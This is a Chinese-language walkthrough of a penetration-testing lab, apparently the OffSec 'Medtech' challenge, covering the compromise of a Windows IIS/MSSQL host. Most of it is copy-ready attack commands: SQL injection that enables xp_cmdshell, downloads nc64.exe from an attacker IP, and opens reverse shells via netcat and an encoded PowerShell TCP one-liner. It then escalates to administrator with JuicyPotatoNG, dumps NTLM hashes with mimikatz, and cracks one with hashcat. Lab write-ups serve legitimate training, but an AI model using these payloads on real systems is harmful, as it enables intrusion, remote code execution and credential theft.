Challenge 1 - Medtech(1)

Challenge 1 - Medtech(1)

Challenge 1 共有 10 台靶機如下圖

製作一個表格表示每一台主機資訊、IP、作業系統、進攻順序與最後的 flag 如下表
針對 LAB1 的進攻順序第一台選定 VM4，IP 尾碼為 121 這一台當作第一台進攻靶機

環境架構圖如下

執行 ping 192.168.234.121 依據 TTL 來看是一台 Windows 主機

更新表格如下

第一步一樣執行 Rustscan，└─$ rustscan -a 192.168.234.121 --scripts none --ulimit 5000 | tee rustscan

check snmp 看來沒戲，└─$ sudo nmap -sU -p 161 192.168.234.121 | tee snmp

nmap 掃描，└─$ sudo nmap -sCV -A -p 80,135,139,445,5985,49664,49665,49666,49668,49667,49669,49670,49671,47001 192.168.234.121 | tee nmap

80/tcp open http Microsoft IIS httpd 10.0

enum4linux 沒有有用的資訊，└─$ enum4linux -a 192.168.234.121 | tee enum4linux

smbclient 無法匿名列舉

whatweb 看一下└─$ whatweb http://192.168.234.121 | tee whatweb

Modernizr[3.5.0.min]

80 / 看來是 MedTech 這一家公司的官網

80 /robots.txt

gobuster 看一下有啥目錄，└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.234.121 -c -t 150 -x txt,pdf,git,aspx | tee gobuster

先看看 /login.aspx

測試幾組常用的管理者帳號密碼組合都無法成功登入

測試看看 SQL Injection，帳號輸入 admin' OR 1=1 -- //，看來沒用

繼續嘗試幾種不同的 SQL Injection，結果在 admin' 有跳出 SQL Error

直接輸入 ' 也有跳錯誤

所以可以知道 ' 是有用的，且會在網頁輸出結果給我們看

機著嘗試使用 ' or 1=1 -- 等都無法成功繞過驗證

測試了幾個 ' 後面接指令都沒有成功顯示，這是基於 MySQL 的 SQL Injection 測試

因為 MSSQL 的測試需要使用 EXECUTE 指令來調用而不是 SELECT

且測試相關指令前一定都要先執行標準四步驟開啟 xp_cmdshell

EXECUTE sp_configure 'show advanced options', 1; --> 啟用高級選項
RECONFIGURE; --> 套用更改的設定到運行的環境配置
EXECUTE sp_configure 'xp_cmdshell', 1; --> 啟用 xp_cmdshell
RECONFIGURE; --> 套用更改的設定到運行的當前配置
測試 EXECUTE xp_cmdshell 'whoami'; --> 若成功則可以開始下指令了

所以依序在網頁輸入上述四個指令

';EXECUTE sp_configure 'show advanced options', 1;

';RECONFIGURE;

';EXECUTE sp_configure 'xp_cmdshell', 1;

';RECONFIGURE;

開啟用執行 dir、whoami、ping 都沒有結果，但是測試 powershell 抓檔案時有反應

最後是使用如下的指令

%27%3B%20exec%20master..xp_cmdshell%20%27powershell%20-command%20Invoke-WebRequest%20-Uri%20http%3A%2F%2F192.168.45.179%2Ftools%2Fnc64.exe%20-Outfile%20C%3A%5C%5Ctemp%5C%5Cnc64.exe%27--

可以看到有來抓檔案

PS : 指令 decode 如下

'; exec master..xp_cmdshell 'powershell -command Invoke-WebRequest -Uri http://192.168.45.179/tools/nc64.exe -Outfile C:\\temp\\nc64.exe'--

會這樣下指令主要是參考這一篇 : https://hebrtcp.wordpress.com/2015/08/08/sql-injection%E7%9A%84%E5%AF%A6%E7%8F%BE%E8%88%87%E6%87%89%E7%94%A8/

接著執行 nc64.exe 來建立連線試試看

指令 : '; exec master..xp_cmdshell 'c:\\temp\\nc64.exe 192.168.45.179 4444 -e powershell'--

URL encode : %27%3B%20exec%20master..xp_cmdshell%20%27c%3A%5C%5Ctemp%5C%5Cnc64.exe%20192.168.45.179%204444%20-e%20powershell%27--

可以看到 4444 Listener 進來了

後來有嘗試另外一種指令

指令 : '; exec master.dbo.xp_cmdshell 'c:\\temp\\nc64.exe 192.168.45.179 4444 -e powershell';--

URL encode : '%3b%20exec%20master.dbo.xp_cmdshell%20'c%3a%5c%5ctemp%5c%5cnc64.exe%20192.168.45.179%204444%20-e%20powershell'%3b--

一樣有成功，4444 Listener 也有進來

編輯最愛的 Powershell Oneliner 試試看

指令 : '; exec master..xp_cmdshell 'powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADEANwA5ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=='--

URL encode : ='%3b%20exec%20master..xp_cmdshell%20'powershell%20-enc%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADEANwA5ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA%3d%3d'-

4444 Listener 進來了，果然 Powershell OneLiner 才是王道

查查看 local.txt 看來這一台不存在，hostname 確認是 WEB02

表格更新如下

開始 PE，whoami /priv，發現 SeImpersonatePrivilege 且是 Enabled

標準作業下載 JuicyPotatoNG.exe

iwr -uri http://192.168.45.179/JuicyPotatoNG.exe -Outfile JuicyPotatoNG.exe

執行 c:\temp\JuicyPotatoNG.exe -t * -p c:\temp\nc64.exe -a "192.168.45.179 4445 -e c:\windows\system32\cmd.exe"

4445 Listener 進來了，whoami 確認是管理者，拿取 flag

更新表格，這一台僅有 proof.txt 且拿到管理者權限，所以標註為綠色

補充這一台的資訊，ipconfig 可以看到有兩隻腳

192.168.234.121 與 172.16.234.254，所以內網的網段是 172.16.0.0

且這一台看來會充當內網出外網的 Gateway 與 Routing

另外我們進到這一台靠的是 SQL Injection 且要先開 xp_cmdshell 再用 Powershell Oneliner 進來

相當的麻煩，所以下載 mimikatz 執行後讀取 administrator 的 HASH 以及 offsec 的 HASH

offsec:2892d26cdf84d7a70e2eb3b9f05c425e

administrator:b2c03054c306ac8fc5f9d188710b0168

offsec 的 HASH 破解出來是 lab，└─$ hashcat -m 1000 2892d26cdf84d7a70e2eb3b9f05c425e /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force